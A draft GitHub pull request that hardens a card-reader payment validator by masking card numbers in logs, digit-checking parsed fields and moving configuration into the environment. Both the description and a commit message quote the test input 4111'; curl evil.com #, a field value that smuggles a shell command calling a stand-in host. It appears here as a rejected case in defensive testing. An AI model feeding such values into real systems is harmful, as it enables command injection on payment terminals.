Skip to content

Mask the pan, validate parsed fields, move configuration to the environment - #2

Draft
FARADTechnologies wants to merge 2 commits into
mainfrom
security-hardening
Draft

Mask the pan, validate parsed fields, move configuration to the environment#2
FARADTechnologies wants to merge 2 commits into
mainfrom
security-hardening

Conversation

@FARADTechnologies

Copy link
Copy Markdown
Owner

What this changes

Addresses the gaps written up in docs/SECURITY_NOTES.md.

  • Pan masking. The pan was reaching a log by four routes: the authorisation log, the interface, the FIFO command traces on stdout, and the reader loop's capture line, which printed the raw hex the pan is encoded in. All four are masked to first six and last four. The request body and the curl command line are no longer logged at all.
  • Field validation. The request is built as a shell command string, and on the track path the pan comes from decoding arbitrary bytes off the card, so a pan containing a quote could close the argument. Pan and expiry are now checked to be digits before either reaches the string.
  • Configuration from the environment, loaded from config/validator.env. The endpoint has no compiled-in default on purpose: unset, the terminal declines and logs the fact.

Left alone deliberately: the Azerbaijani interface strings and the existing code comments.

How it was tested

  • Built locally (cmake -B build && cmake --build build)

Masking verified for 13, 16 and 19 digit pans. Injection guard verified: 4111'; curl evil.com # is refused, an ordinary 16-digit pan is accepted. Shellcheck reports no warnings at all on the startup script.

Not yet tested on hardware — that is why this is a draft.

Checklist

  • No card number, key, token or production endpoint added to the repository
  • Documentation under docs/ updated
  • CHANGELOG.md updated

The pan was reaching a log by four separate routes: the authorisation log, the
interface, the FIFO command traces on stdout, and the reader loop's capture
line, which printed the raw hex the pan is encoded in. All four are masked to
first six and last four. The request body and the curl command line are no
longer logged at all.

The request is still built as a shell command string, and the pan on the track
path comes from decoding arbitrary bytes off the card, so a pan containing a
quote could close the argument and have the rest read by the shell. Pan and
expiry are now checked to be digits before either reaches the string. Verified
that 4111'; curl evil.com # is refused and an ordinary pan is not.

Configuration moves to the environment, loaded from config/validator.env. The
endpoint has no compiled-in default on purpose: unset, the terminal declines
and says so, rather than posting card data at whatever a stale constant held.
The /home/atilhan paths are gone from all four sources.

The startup script now resolves its own location, so it no longer depends on
being installed at one particular path, and pipes the reader loop through tee
because a redirect on a sudo line is performed by the calling user, not root.
The previous commit message and SECURITY_NOTES both said the /home/atilhan
paths were gone from all four sources. Two are still there, in the
commented-out debug block in parse_card_data.cpp.

They are dead code and do not affect behaviour, but the sentence read as an
absolute and was not one. The note now says what is actually true and why the
block was left in place.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant